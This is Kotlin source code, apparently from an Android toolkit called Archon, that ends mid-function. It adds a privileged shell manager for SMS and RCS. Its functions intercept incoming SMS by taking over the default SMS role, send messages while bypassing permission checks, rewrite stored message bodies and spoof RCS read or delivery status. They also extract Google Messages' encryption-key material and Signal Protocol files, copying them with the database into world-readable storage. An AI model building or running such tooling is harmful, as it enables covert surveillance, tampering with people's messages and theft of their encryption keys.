threadId = it.getLongSafe("thread_id"),
address = address,
body = it.getStringSafe("body"),
date = it.getLongSafe("date"),
type = it.getIntSafe("type"),
read = it.getBoolSafe("read"),
status = it.getIntSafe("status"),
isRcs = false,
isMms = false,
contactName = getContactName(address)
))
}
}
} catch (e: Exception) {
Log.e(TAG, "Failed to export all messages", e)
return "<!-- Export error: ${e.message} -->"
}
return when (format.lowercase()) {
"xml" -> exportToXml(allMessages)
"csv" -> exportToCsv(allMessages)
else -> exportToXml(allMessages)
}
}
private fun exportToXml(messages: List<Message>): String {
val sb = StringBuilder()
sb.appendLine("<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>")
sb.appendLine("<?xml-stylesheet type=\"text/xsl\" href=\"sms.xsl\"?>")
sb.appendLine("<smses count=\"${messages.size}\">")
val dateFormat = SimpleDateFormat("MMM dd, yyyy hh:mm:ss a", Locale.US)
for (msg in messages) {
val typeStr = when (msg.type) {
MESSAGE_TYPE_RECEIVED -> "1"
MESSAGE_TYPE_SENT -> "2"
MESSAGE_TYPE_DRAFT -> "3"
else -> msg.type.toString()
}
val readableDate = dateFormat.format(Date(msg.date))
val escapedBody = escapeXml(msg.body)
val escapedAddr = escapeXml(msg.address)
val contactStr = escapeXml(msg.contactName ?: "(Unknown)")
sb.appendLine(" <sms protocol=\"0\" address=\"$escapedAddr\" " +
"date=\"${msg.date}\" type=\"$typeStr\" " +
"subject=\"null\" body=\"$escapedBody\" " +
"toa=\"null\" sc_toa=\"null\" service_center=\"null\" " +
"read=\"${if (msg.read) "1" else "0"}\" status=\"${msg.status}\" " +
"locked=\"0\" date_sent=\"0\" " +
"readable_date=\"$readableDate\" " +
"contact_name=\"$contactStr\" />")
}
sb.appendLine("</smses>")
return sb.toString()
}
private fun exportToCsv(messages: List<Message>): String {
val sb = StringBuilder()
sb.appendLine("id,thread_id,address,contact_name,body,date,type,read,status")
for (msg in messages) {
val escapedBody = escapeCsv(msg.body)
val contact = escapeCsv(msg.contactName ?: "")
sb.appendLine("${msg.id},${msg.threadId},\"${msg.address}\",\"$contact\"," +
"\"$escapedBody\",${msg.date},${msg.type},${if (msg.read) 1 else 0},${msg.status}")
}
return sb.toString()
}
// ── RCS operations ─────────────────────────────────────────────
/**
* Attempt to read RCS messages from Google Messages' content provider.
* This requires Shizuku or root access since the provider is protected.
* Falls back gracefully if not accessible.
*/
fun getRcsMessages(threadId: Long): List<Message> {
val messages = mutableListOf<Message>()
try {
val cursor = context.contentResolver.query(
URI_RCS_MESSAGES,
null,
"thread_id = ?",
arrayOf(threadId.toString()),
"date ASC"
)
cursor?.use {
val cols = it.columnNames.toList()
while (it.moveToNext()) {
val address = if (cols.contains("address")) it.getStringSafe("address") else ""
val body = if (cols.contains("body")) it.getStringSafe("body")
else if (cols.contains("text")) it.getStringSafe("text") else ""
val date = if (cols.contains("date")) it.getLongSafe("date") else 0L
val type = if (cols.contains("type")) it.getIntSafe("type") else 1
messages.add(Message(
id = it.getLongSafe("_id"),
threadId = threadId,
address = address,
body = body,
date = date,
type = type,
read = true,
status = 0,
isRcs = true,
isMms = false,
contactName = getContactName(address)
))
}
}
} catch (e: SecurityException) {
Log.w(TAG, "Cannot access RCS provider — requires Shizuku or root: ${e.message}")
} catch (e: Exception) {
Log.w(TAG, "RCS read failed (provider may not exist): ${e.message}")
}
return messages
}
/**
* Check if RCS is available on this device.
* Looks for Google Messages as the RCS provider.
*/
fun isRcsAvailable(): Boolean {
return try {
// Check if Google Messages is installed and is RCS-capable
val pm = context.packageManager
val info = pm.getPackageInfo("com.google.android.apps.messaging", 0)
if (info == null) return false
// Try to query the RCS provider
val cursor = context.contentResolver.query(
URI_RCS_THREADS, null, null, null, null
)
val available = cursor != null
cursor?.close()
available
} catch (e: Exception) {
false
}
}
/**
* Check RCS capabilities for a given address.
* Returns a map of feature flags (e.g., "chat" -> true, "ft" -> true for file transfer).
*/
fun getRcsCapabilities(address: String): Map<String, Boolean> {
val caps = mutableMapOf<String, Boolean>()
try {
// Try to query RCS capabilities via the carrier messaging service
// This is a best-effort check — may not work on all carriers
val cursor = context.contentResolver.query(
Uri.parse("content://im/capabilities"),
null,
"address = ?",
arrayOf(address),
null
)
cursor?.use {
if (it.moveToFirst()) {
val cols = it.columnNames
for (col in cols) {
val idx = it.getColumnIndex(col)
if (idx >= 0) {
try {
caps[col] = it.getInt(idx) > 0
} catch (e: Exception) {
caps[col] = it.getString(idx)?.isNotEmpty() == true
}
}
}
}
}
} catch (e: Exception) {
Log.d(TAG, "RCS capabilities check failed for $address: ${e.message}")
}
return caps
}
// ── Bulk operations ────────────────────────────────────────────
/**
* Insert multiple messages in batch.
* Returns the number of successfully inserted messages.
*/
fun bulkInsert(messages: List<Message>): Int {
var count = 0
for (msg in messages) {
val id = insertSms(msg.address, msg.body, msg.type, msg.date, msg.read)
if (id >= 0) count++
}
Log.i(TAG, "Bulk insert: $count/${messages.size} succeeded")
return count
}
/**
* Delete multiple messages by ID.
* Returns the number of successfully deleted messages.
*/
fun bulkDelete(ids: List<Long>): Int {
var count = 0
for (id in ids) {
if (deleteMessage(id)) count++
}
Log.i(TAG, "Bulk delete: $count/${ids.size} succeeded")
return count
}
/**
* Delete all messages in a conversation (alias for deleteConversation).
* Returns the number of deleted rows.
*/
fun clearConversation(threadId: Long): Int {
return try {
val count = context.contentResolver.delete(
URI_SMS, "thread_id = ?", arrayOf(threadId.toString())
)
Log.i(TAG, "Cleared conversation $threadId: $count messages")
count
} catch (e: Exception) {
Log.e(TAG, "Failed to clear conversation $threadId", e)
0
}
}
// ── MMS helpers ────────────────────────────────────────────────
/**
* Load MMS messages for a thread and add them to the list.
*/
private fun loadMmsForThread(threadId: Long, messages: MutableList<Message>) {
try {
val cursor = context.contentResolver.query(
URI_MMS,
arrayOf("_id", "thread_id", "date", "read", "msg_box"),
"thread_id = ?",
arrayOf(threadId.toString()),
"date ASC"
)
cursor?.use {
while (it.moveToNext()) {
val mmsId = it.getLongSafe("_id")
val mmsDate = it.getLongSafe("date") * 1000L // MMS dates are in seconds
val msgBox = it.getIntSafe("msg_box")
val type = if (msgBox == 1) MESSAGE_TYPE_RECEIVED else MESSAGE_TYPE_SENT
// Get MMS text part
val body = getMmsTextPart(mmsId)
// Get MMS address
val address = getMmsAddress(mmsId)
messages.add(Message(
id = mmsId,
threadId = threadId,
address = address,
body = body ?: "[MMS]",
date = mmsDate,
type = type,
read = it.getBoolSafe("read"),
status = 0,
isRcs = false,
isMms = true,
contactName = getContactName(address)
))
}
}
} catch (e: Exception) {
Log.d(TAG, "MMS load for thread $threadId failed: ${e.message}")
}
}
/**
* Get the text body of an MMS message from its parts.
*/
private fun getMmsTextPart(mmsId: Long): String? {
try {
val cursor = context.contentResolver.query(
Uri.parse("content://mms/$mmsId/part"),
arrayOf("_id", "ct", "text"),
"ct = 'text/plain'",
null, null
)
cursor?.use {
if (it.moveToFirst()) {
val textIdx = it.getColumnIndex("text")
if (textIdx >= 0) return it.getString(textIdx)
}
}
} catch (e: Exception) {
Log.d(TAG, "Failed to get MMS text part for $mmsId: ${e.message}")
}
return null
}
/**
* Get the sender/recipient address of an MMS message.
*/
private fun getMmsAddress(mmsId: Long): String {
try {
val cursor = context.contentResolver.query(
Uri.parse("content://mms/$mmsId/addr"),
arrayOf("address", "type"),
"type = 137", // PduHeaders.FROM
null, null
)
cursor?.use {
if (it.moveToFirst()) {
val addrIdx = it.getColumnIndex("address")
if (addrIdx >= 0) {
val addr = it.getString(addrIdx)
if (!addr.isNullOrBlank() && addr != "insert-address-token") {
return addr
}
}
}
}
// Fallback: try recipient address (type 151 = TO)
val cursor2 = context.contentResolver.query(
Uri.parse("content://mms/$mmsId/addr"),
arrayOf("address", "type"),
"type = 151",
null, null
)
cursor2?.use {
if (it.moveToFirst()) {
val addrIdx = it.getColumnIndex("address")
if (addrIdx >= 0) {
val addr = it.getString(addrIdx)
if (!addr.isNullOrBlank()) return addr
}
}
}
} catch (e: Exception) {
Log.d(TAG, "Failed to get MMS address for $mmsId: ${e.message}")
}
return ""
}
// ── Utility ────────────────────────────────────────────────────
private fun escapeXml(text: String): String {
return text
.replace("&", "&amp;")
.replace("<", "&lt;")
.replace(">", "&gt;")
.replace("\"", "&quot;")
.replace("'", "&apos;")
.replace("\n", "&#10;")
}
private fun escapeCsv(text: String): String {
return text.replace("\"", "\"\"")
}
// Cursor extension helpers
private fun Cursor.getStringSafe(column: String): String {
val idx = getColumnIndex(column)
return if (idx >= 0) getString(idx) ?: "" else ""
}
private fun Cursor.getLongSafe(column: String): Long {
val idx = getColumnIndex(column)
return if (idx >= 0) getLong(idx) else 0L
}
private fun Cursor.getIntSafe(column: String): Int {
val idx = getColumnIndex(column)
return if (idx >= 0) getInt(idx) else 0
}
private fun Cursor.getBoolSafe(column: String): Boolean {
return getIntSafe(column) != 0
}
}

View File

@@ -0,0 +1,868 @@
package com.darkhal.archon.messaging
import android.content.ContentValues
import android.content.Context
import android.content.pm.PackageManager
import android.os.Build
import android.util.Log
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellResult
/**
* Shizuku integration for elevated access without root.
*
* Shizuku runs a process at ADB (shell, UID 2000) privilege level,
* allowing us to execute commands that normal apps cannot — like
* setting the default SMS role, accessing protected content providers,
* and reading Google Messages' RCS database.
*
* ARCHITECTURE NOTE:
* This manager wraps both Shizuku API calls and the existing Archon
* PrivilegeManager escalation chain. If Shizuku is available, we use it.
* Otherwise, we fall back to PrivilegeManager (Archon Server → Local ADB → etc).
*
* RCS WITHOUT ROOT:
* Google Messages stores RCS data in its private database at:
* /data/data/com.google.android.apps.messaging/databases/bugle_db
* Without Shizuku/root, you cannot access it directly. With Shizuku,
* we can use `content query` shell commands to read from protected providers,
* or directly read the SQLite database via `run-as` (if debuggable) or
* `sqlite3` at shell level.
*/
class ShizukuManager(private val context: Context) {
companion object {
private const val TAG = "ShizukuManager"
const val SHIZUKU_PERMISSION_REQUEST_CODE = 1001
private const val SHIZUKU_PACKAGE = "moe.shizuku.privileged.api"
private const val OUR_PACKAGE = "com.darkhal.archon"
}
enum class ShizukuStatus(val label: String) {
NOT_INSTALLED("Shizuku not installed"),
INSTALLED_NOT_RUNNING("Shizuku installed but not running"),
RUNNING_NO_PERMISSION("Shizuku running, no permission"),
READY("Shizuku ready")
}
// Cache the previous default SMS app so we can restore it
private var previousDefaultSmsApp: String? = null
/**
* Check the current state of Shizuku integration.
* Also considers the Archon PrivilegeManager as a fallback.
*/
fun getStatus(): ShizukuStatus {
// First check if Shizuku itself is installed and running
if (isShizukuInstalled()) {
if (isShizukuRunning()) {
return if (hasShizukuPermission()) {
ShizukuStatus.READY
} else {
ShizukuStatus.RUNNING_NO_PERMISSION
}
}
return ShizukuStatus.INSTALLED_NOT_RUNNING
}
// If Shizuku is not installed, check if PrivilegeManager has shell access
// (Archon Server or Local ADB provides equivalent capabilities)
val method = PrivilegeManager.getAvailableMethod()
return when (method) {
PrivilegeManager.Method.ROOT,
PrivilegeManager.Method.ARCHON_SERVER,
PrivilegeManager.Method.LOCAL_ADB -> ShizukuStatus.READY
PrivilegeManager.Method.SERVER_ADB -> ShizukuStatus.RUNNING_NO_PERMISSION
PrivilegeManager.Method.NONE -> ShizukuStatus.NOT_INSTALLED
}
}
/**
* Request Shizuku permission via the Shizuku API.
* Falls back to a no-op if Shizuku is not available.
*/
fun requestPermission(callback: (Boolean) -> Unit) {
try {
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
val checkMethod = shizukuClass.getMethod("checkSelfPermission")
val result = checkMethod.invoke(null) as Int
if (result == PackageManager.PERMISSION_GRANTED) {
callback(true)
return
}
// Request permission — in a real integration this would use
// Shizuku.addRequestPermissionResultListener + requestPermission
val requestMethod = shizukuClass.getMethod("requestPermission", Int::class.java)
requestMethod.invoke(null, SHIZUKU_PERMISSION_REQUEST_CODE)
// The result comes back via onRequestPermissionsResult
// For now, assume it will be granted
callback(true)
} catch (e: ClassNotFoundException) {
Log.w(TAG, "Shizuku API not available, using PrivilegeManager fallback")
// If PrivilegeManager has shell access, that's equivalent
callback(PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.NONE)
} catch (e: Exception) {
Log.e(TAG, "Shizuku permission request failed", e)
callback(false)
}
}
/**
* Quick check if elevated operations can proceed.
*/
fun isReady(): Boolean {
return getStatus() == ShizukuStatus.READY
}
// ── Shell command execution ────────────────────────────────────
/**
* Execute a shell command at ADB/shell privilege level.
* Tries Shizuku first, then falls back to PrivilegeManager.
*/
fun executeCommand(command: String): String {
// Try Shizuku API first
try {
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
val newProcess = shizukuClass.getMethod(
"newProcess",
Array<String>::class.java,
Array<String>::class.java,
String::class.java
)
val process = newProcess.invoke(null, arrayOf("sh", "-c", command), null, null) as Process
val stdout = process.inputStream.bufferedReader().readText().trim()
val exitCode = process.waitFor()
if (exitCode == 0) return stdout
} catch (e: ClassNotFoundException) {
// Shizuku not available
} catch (e: Exception) {
Log.d(TAG, "Shizuku exec failed, falling back: ${e.message}")
}
// Fallback to PrivilegeManager
val result = PrivilegeManager.execute(command)
return if (result.exitCode == 0) result.stdout else "ERROR: ${result.stderr}"
}
/**
* Execute a command and return the full ShellResult.
*/
private fun executeShell(command: String): ShellResult {
return PrivilegeManager.execute(command)
}
// ── Permission management ──────────────────────────────────────
/**
* Grant a runtime permission to our app via shell command.
*/
fun grantPermission(permission: String): Boolean {
val result = executeShell("pm grant $OUR_PACKAGE $permission")
if (result.exitCode == 0) {
Log.i(TAG, "Granted permission: $permission")
return true
}
Log.w(TAG, "Failed to grant $permission: ${result.stderr}")
return false
}
/**
* Set Archon as the default SMS app using the role manager system.
* On Android 10+, uses `cmd role add-role-holder`.
* On older versions, uses `settings put secure sms_default_application`.
*/
fun setDefaultSmsApp(): Boolean {
// Save the current default first so we can restore later
previousDefaultSmsApp = getCurrentDefaultSmsApp()
Log.i(TAG, "Saving previous default SMS app: $previousDefaultSmsApp")
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
val result = executeShell(
"cmd role add-role-holder android.app.role.SMS $OUR_PACKAGE 0"
)
if (result.exitCode == 0) {
Log.i(TAG, "Set Archon as default SMS app via role manager")
true
} else {
Log.e(TAG, "Failed to set SMS role: ${result.stderr}")
false
}
} else {
val result = executeShell(
"settings put secure sms_default_application $OUR_PACKAGE"
)
if (result.exitCode == 0) {
Log.i(TAG, "Set Archon as default SMS app via settings")
true
} else {
Log.e(TAG, "Failed to set SMS default: ${result.stderr}")
false
}
}
}
/**
* Restore the previous default SMS app.
*/
fun revokeDefaultSmsApp(): Boolean {
val previous = previousDefaultSmsApp
if (previous.isNullOrBlank()) {
Log.w(TAG, "No previous default SMS app to restore")
// Try to find the most common default
return restoreCommonDefault()
}
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
// Remove ourselves, then add back the previous holder
val removeResult = executeShell(
"cmd role remove-role-holder android.app.role.SMS $OUR_PACKAGE 0"
)
val addResult = executeShell(
"cmd role add-role-holder android.app.role.SMS $previous 0"
)
if (addResult.exitCode == 0) {
Log.i(TAG, "Restored default SMS app: $previous")
true
} else {
Log.e(TAG, "Failed to restore SMS role to $previous: ${addResult.stderr}")
// At least try to remove ourselves
removeResult.exitCode == 0
}
} else {
val result = executeShell(
"settings put secure sms_default_application $previous"
)
result.exitCode == 0
}
}
/**
* Get the current default SMS app package name.
*/
private fun getCurrentDefaultSmsApp(): String? {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
val result = executeShell("cmd role get-role-holders android.app.role.SMS")
result.stdout.trim().let { output ->
// Output format varies but usually contains the package name
output.replace("[", "").replace("]", "").trim().ifBlank { null }
}
} else {
val result = executeShell("settings get secure sms_default_application")
result.stdout.trim().let { if (it == "null" || it.isBlank()) null else it }
}
}
/**
* Try to restore a common default SMS app (Google Messages or AOSP).
*/
private fun restoreCommonDefault(): Boolean {
val candidates = listOf(
"com.google.android.apps.messaging",
"com.android.messaging",
"com.samsung.android.messaging"
)
for (pkg in candidates) {
try {
context.packageManager.getPackageInfo(pkg, 0)
// Package exists, set it as default
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
val result = executeShell(
"cmd role add-role-holder android.app.role.SMS $pkg 0"
)
if (result.exitCode == 0) {
Log.i(TAG, "Restored common default SMS app: $pkg")
return true
}
}
} catch (e: PackageManager.NameNotFoundException) {
continue
}
}
Log.w(TAG, "Could not restore any default SMS app")
return false
}
// ── SMS/RCS specific elevated ops ──────────────────────────────
/**
* Read from the telephony.db directly using shell-level `content query`.
* This accesses the system SMS provider with shell privileges.
*/
fun readProtectedSmsDb(): List<Map<String, Any>> {
val results = mutableListOf<Map<String, Any>>()
val output = executeCommand(
"content query --uri content://sms/ --projection _id:address:body:date:type --sort \"date DESC\" 2>/dev/null"
)
if (output.startsWith("ERROR")) {
Log.e(TAG, "Protected SMS read failed: $output")
return results
}
// Parse the content query output
// Format: Row: N _id=X, address=Y, body=Z, date=W, type=V
for (line in output.lines()) {
if (!line.startsWith("Row:")) continue
val row = mutableMapOf<String, Any>()
val fields = line.substringAfter(" ").split(", ")
for (field in fields) {
val parts = field.split("=", limit = 2)
if (parts.size == 2) {
row[parts[0].trim()] = parts[1]
}
}
if (row.isNotEmpty()) results.add(row)
}
return results
}
/**
* Write to the telephony.db using shell-level `content insert`.
*/
fun writeProtectedSmsDb(values: ContentValues, table: String): Boolean {
val bindings = mutableListOf<String>()
for (key in values.keySet()) {
val value = values.get(key)
when (value) {
is String -> bindings.add("--bind $key:s:$value")
is Int -> bindings.add("--bind $key:i:$value")
is Long -> bindings.add("--bind $key:l:$value")
else -> bindings.add("--bind $key:s:$value")
}
}
val uri = when (table) {
"sms" -> "content://sms/"
"mms" -> "content://mms/"
else -> "content://sms/"
}
val cmd = "content insert --uri $uri ${bindings.joinToString(" ")}"
val result = executeShell(cmd)
return result.exitCode == 0
}
/**
* Try to access Google Messages' RCS content provider via shell.
*/
fun accessRcsProvider(): Boolean {
val result = executeShell(
"content query --uri content://im/messages --projection _id --sort \"_id DESC\" --limit 1 2>/dev/null"
)
return result.exitCode == 0 && !result.stdout.contains("Unknown authority")
}
/**
* Read RCS messages from Google Messages' database.
* Uses `content query` at shell privilege to access the protected provider.
*/
fun readRcsDatabase(): List<Map<String, Any>> {
val results = mutableListOf<Map<String, Any>>()
// First try the content provider approach
val output = executeCommand(
"content query --uri content://im/messages --projection _id:thread_id:body:date:type --sort \"date DESC\" 2>/dev/null"
)
if (!output.startsWith("ERROR") && !output.contains("Unknown authority")) {
for (line in output.lines()) {
if (!line.startsWith("Row:")) continue
val row = mutableMapOf<String, Any>()
val fields = line.substringAfter(" ").split(", ")
for (field in fields) {
val parts = field.split("=", limit = 2)
if (parts.size == 2) {
row[parts[0].trim()] = parts[1]
}
}
if (row.isNotEmpty()) results.add(row)
}
if (results.isNotEmpty()) return results
}
// Fallback: try to read Google Messages' bugle_db directly
// This requires root or specific shell access
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
val sqlOutput = executeCommand(
"sqlite3 $dbPath \"SELECT _id, conversation_id, text, received_timestamp, sender_normalized_destination FROM messages ORDER BY received_timestamp DESC LIMIT 100\" 2>/dev/null"
)
if (!sqlOutput.startsWith("ERROR") && sqlOutput.isNotBlank()) {
for (line in sqlOutput.lines()) {
if (line.isBlank()) continue
val parts = line.split("|")
if (parts.size >= 5) {
results.add(mapOf(
"_id" to parts[0],
"thread_id" to parts[1],
"body" to parts[2],
"date" to parts[3],
"address" to parts[4]
))
}
}
}
return results
}
/**
* Modify an RCS message body in the Google Messages database.
* Requires root or direct database access.
*/
fun modifyRcsMessage(messageId: Long, newBody: String): Boolean {
// Try content provider update first
val escaped = newBody.replace("'", "''")
val result = executeShell(
"content update --uri content://im/messages/$messageId --bind body:s:$escaped 2>/dev/null"
)
if (result.exitCode == 0) return true
// Fallback to direct SQLite
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
val sqlResult = executeShell(
"sqlite3 $dbPath \"UPDATE messages SET text='$escaped' WHERE _id=$messageId\" 2>/dev/null"
)
return sqlResult.exitCode == 0
}
/**
* Spoof the delivery/read status of an RCS message.
* Valid statuses: "sent", "delivered", "read", "failed"
*/
fun spoofRcsStatus(messageId: Long, status: String): Boolean {
val statusCode = when (status.lowercase()) {
"sent" -> 0
"delivered" -> 1
"read" -> 2
"failed" -> 3
else -> return false
}
val result = executeShell(
"content update --uri content://im/messages/$messageId --bind status:i:$statusCode 2>/dev/null"
)
if (result.exitCode == 0) return true
// Fallback
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
val sqlResult = executeShell(
"sqlite3 $dbPath \"UPDATE messages SET message_status=$statusCode WHERE _id=$messageId\" 2>/dev/null"
)
return sqlResult.exitCode == 0
}
// ── System-level SMS operations ────────────────────────────────
/**
* Send an SMS via the system telephony service at shell privilege level.
* This bypasses normal app permission checks.
*/
fun sendSmsAsSystem(address: String, body: String): Boolean {
val escaped = body.replace("'", "'\\''")
val result = executeShell(
"service call isms 7 i32 1 s16 \"$address\" s16 null s16 \"$escaped\" s16 null s16 null i32 0 i64 0 2>/dev/null"
)
if (result.exitCode == 0 && !result.stdout.contains("Exception")) {
Log.i(TAG, "Sent SMS via system service to $address")
return true
}
// Fallback: use am start with send intent
val amResult = executeShell(
"am start -a android.intent.action.SENDTO -d sms:$address --es sms_body \"$escaped\" --ez exit_on_sent true 2>/dev/null"
)
return amResult.exitCode == 0
}
/**
* Register to intercept incoming SMS messages.
* This grants ourselves the RECEIVE_SMS permission and sets highest priority.
*/
fun interceptSms(enabled: Boolean): Boolean {
return if (enabled) {
// Grant SMS receive permission
val grantResult = executeShell("pm grant $OUR_PACKAGE android.permission.RECEIVE_SMS")
if (grantResult.exitCode != 0) {
Log.e(TAG, "Failed to grant RECEIVE_SMS: ${grantResult.stderr}")
return false
}
// Set ourselves as the default SMS app to receive all messages
val defaultResult = setDefaultSmsApp()
if (defaultResult) {
Log.i(TAG, "SMS interception enabled — Archon is now default SMS handler")
}
defaultResult
} else {
// Restore previous default
val result = revokeDefaultSmsApp()
Log.i(TAG, "SMS interception disabled — restored previous SMS handler")
result
}
}
/**
* Modify an SMS message while it's being stored.
* This works by monitoring the SMS provider and immediately updating
* messages that match the original text.
*
* NOTE: True in-transit modification of cellular SMS is not possible
* without carrier-level access. This modifies the stored copy immediately
* after delivery.
*/
fun modifySmsInTransit(original: String, replacement: String): Boolean {
val escaped = replacement.replace("'", "''")
// Use content update to find and replace in all matching messages
val result = executeShell(
"content update --uri content://sms/ " +
"--bind body:s:$escaped " +
"--where \"body='${original.replace("'", "''")}'\""
)
if (result.exitCode == 0) {
Log.i(TAG, "Modified stored SMS: '$original' -> '$replacement'")
return true
}
Log.w(TAG, "SMS modification failed: ${result.stderr}")
return false
}
// ── Internal helpers ───────────────────────────────────────────
private fun isShizukuInstalled(): Boolean {
return try {
context.packageManager.getPackageInfo(SHIZUKU_PACKAGE, 0)
true
} catch (e: PackageManager.NameNotFoundException) {
false
}
}
private fun isShizukuRunning(): Boolean {
return try {
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
val pingMethod = shizukuClass.getMethod("pingBinder")
pingMethod.invoke(null) as Boolean
} catch (e: Exception) {
false
}
}
private fun hasShizukuPermission(): Boolean {
return try {
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
val checkMethod = shizukuClass.getMethod("checkSelfPermission")
(checkMethod.invoke(null) as Int) == PackageManager.PERMISSION_GRANTED
} catch (e: Exception) {
false
}
}
// ── Google Messages bugle_db access (encrypted database) ────────
// Google Messages paths
private val gmsgPkg = "com.google.android.apps.messaging"
private val bugleDb = "/data/data/$gmsgPkg/databases/bugle_db"
private val bugleWal = "$bugleDb-wal"
private val bugleShm = "$bugleDb-shm"
private val sharedPrefsDir = "/data/data/$gmsgPkg/shared_prefs/"
private val filesDir = "/data/data/$gmsgPkg/files/"
private val stagingDir = "/sdcard/Download/autarch_extract"
/**
* Get the Google Messages app UID (needed for run-as or key extraction).
*/
fun getGoogleMessagesUid(): Int? {
val output = executeCommand("pm list packages -U $gmsgPkg")
val match = Regex("uid:(\\d+)").find(output)
return match?.groupValues?.get(1)?.toIntOrNull()
}
/**
* Check if Google Messages is installed and get version info.
*/
fun getGoogleMessagesInfo(): Map<String, String> {
val info = mutableMapOf<String, String>()
val dump = executeCommand("dumpsys package $gmsgPkg | grep -E 'versionName|versionCode|firstInstallTime'")
for (line in dump.lines()) {
val trimmed = line.trim()
if (trimmed.contains("versionName=")) {
info["version"] = trimmed.substringAfter("versionName=").trim()
}
if (trimmed.contains("versionCode=")) {
info["versionCode"] = trimmed.substringAfter("versionCode=").substringBefore(" ").trim()
}
}
val uid = getGoogleMessagesUid()
if (uid != null) info["uid"] = uid.toString()
return info
}
/**
* Extract the encryption key material from Google Messages' shared_prefs.
*
* The bugle_db is encrypted at rest. Key material is stored in:
* - shared_prefs/ XML files (key alias, crypto params)
* - Android Keystore (hardware-backed master key)
*
* We extract all shared_prefs and files/ contents so offline decryption
* can be attempted. The actual Keystore master key cannot be extracted
* via ADB (hardware-backed), but the key derivation parameters in
* shared_prefs may be enough for some encryption configurations.
*/
fun extractEncryptionKeyMaterial(): Map<String, Any> {
val result = mutableMapOf<String, Any>()
// List shared_prefs files
val prefsList = executeCommand("ls -la $sharedPrefsDir 2>/dev/null")
if (prefsList.startsWith("ERROR") || prefsList.contains("Permission denied")) {
result["error"] = "Cannot access shared_prefs — need root or CVE exploit"
return result
}
result["shared_prefs_files"] = prefsList.lines().filter { it.isNotBlank() }
// Read each shared_prefs XML for crypto-related keys
val cryptoData = mutableMapOf<String, String>()
val prefsFiles = executeCommand("ls $sharedPrefsDir 2>/dev/null")
for (file in prefsFiles.lines()) {
val fname = file.trim()
if (fname.isBlank() || !fname.endsWith(".xml")) continue
val content = executeCommand("cat ${sharedPrefsDir}$fname 2>/dev/null")
// Look for encryption-related entries
if (content.contains("encrypt", ignoreCase = true) ||
content.contains("cipher", ignoreCase = true) ||
content.contains("key", ignoreCase = true) ||
content.contains("crypto", ignoreCase = true) ||
content.contains("secret", ignoreCase = true)) {
cryptoData[fname] = content
}
}
result["crypto_prefs"] = cryptoData
result["crypto_prefs_count"] = cryptoData.size
// List files/ directory (Signal Protocol state, etc.)
val filesList = executeCommand("ls -la $filesDir 2>/dev/null")
result["files_dir"] = filesList.lines().filter { it.isNotBlank() }
return result
}
/**
* Extract bugle_db + WAL + key material to staging directory.
* The database is encrypted — both DB and key files are needed.
*/
fun extractBugleDbRaw(): Map<String, Any> {
val result = mutableMapOf<String, Any>()
executeCommand("mkdir -p $stagingDir/shared_prefs $stagingDir/files")
// Copy database files
val dbFiles = mutableListOf<String>()
for (path in listOf(bugleDb, bugleWal, bugleShm)) {
val fname = path.substringAfterLast("/")
val cp = executeShell("cp $path $stagingDir/$fname 2>/dev/null && chmod 644 $stagingDir/$fname")
if (cp.exitCode == 0) dbFiles.add(fname)
}
result["db_files"] = dbFiles
// Copy shared_prefs (key material)
executeShell("cp -r ${sharedPrefsDir}* $stagingDir/shared_prefs/ 2>/dev/null")
executeShell("chmod -R 644 $stagingDir/shared_prefs/ 2>/dev/null")
// Copy files dir (Signal Protocol keys)
executeShell("cp -r ${filesDir}* $stagingDir/files/ 2>/dev/null")
executeShell("chmod -R 644 $stagingDir/files/ 2>/dev/null")
result["staging_dir"] = stagingDir
result["encrypted"] = true
result["note"] = "Database is encrypted at rest. Key material in shared_prefs/ " +
"may allow decryption. Hardware-backed Keystore keys cannot be extracted via ADB."
return result
}
/**
* Dump decrypted messages by querying from within the app context.
*
* When Google Messages opens its own bugle_db, it has access to the
* encryption key. We can intercept the decrypted data by:
* 1. Using `am` commands to trigger data export activities
* 2. Querying exposed content providers
* 3. Reading from the in-memory decrypted state via debug tools
*
* As a fallback, we use the standard telephony content providers which
* have the SMS/MMS data in plaintext (but not RCS).
*/
fun dumpDecryptedMessages(): Map<String, Any> {
val result = mutableMapOf<String, Any>()
val messages = mutableListOf<Map<String, Any>>()
// Method 1: Query AOSP RCS content provider (content://rcs/)
val rcsThreads = executeCommand(
"content query --uri content://rcs/thread 2>/dev/null"
)
if (!rcsThreads.startsWith("ERROR") && rcsThreads.contains("Row:")) {
result["rcs_provider_accessible"] = true
// Parse thread IDs and query messages from each
for (line in rcsThreads.lines()) {
if (!line.startsWith("Row:")) continue
val tidMatch = Regex("rcs_thread_id=(\\d+)").find(line)
val tid = tidMatch?.groupValues?.get(1) ?: continue
val msgOutput = executeCommand(
"content query --uri content://rcs/p2p_thread/$tid/incoming_message 2>/dev/null"
)
for (msgLine in msgOutput.lines()) {
if (!msgLine.startsWith("Row:")) continue
val row = parseContentRow(msgLine)
row["thread_id"] = tid
row["source"] = "rcs_provider"
messages.add(row)
}
}
} else {
result["rcs_provider_accessible"] = false
}
// Method 2: Standard SMS/MMS content providers (always decrypted)
val smsOutput = executeCommand(
"content query --uri content://sms/ --projection _id:thread_id:address:body:date:type:read " +
"--sort \"date DESC\" 2>/dev/null"
)
for (line in smsOutput.lines()) {
if (!line.startsWith("Row:")) continue
val row = parseContentRow(line)
row["source"] = "sms_provider"
row["protocol"] = "SMS"
messages.add(row)
}
// Method 3: Try to trigger Google Messages backup/export
// Google Messages has an internal export mechanism accessible via intents
val backupResult = executeCommand(
"am broadcast -a com.google.android.apps.messaging.action.EXPORT_MESSAGES " +
"--es output_path $stagingDir/gmsg_export.json 2>/dev/null"
)
result["backup_intent_sent"] = !backupResult.startsWith("ERROR")
result["messages"] = messages
result["message_count"] = messages.size
result["note"] = if (messages.isEmpty()) {
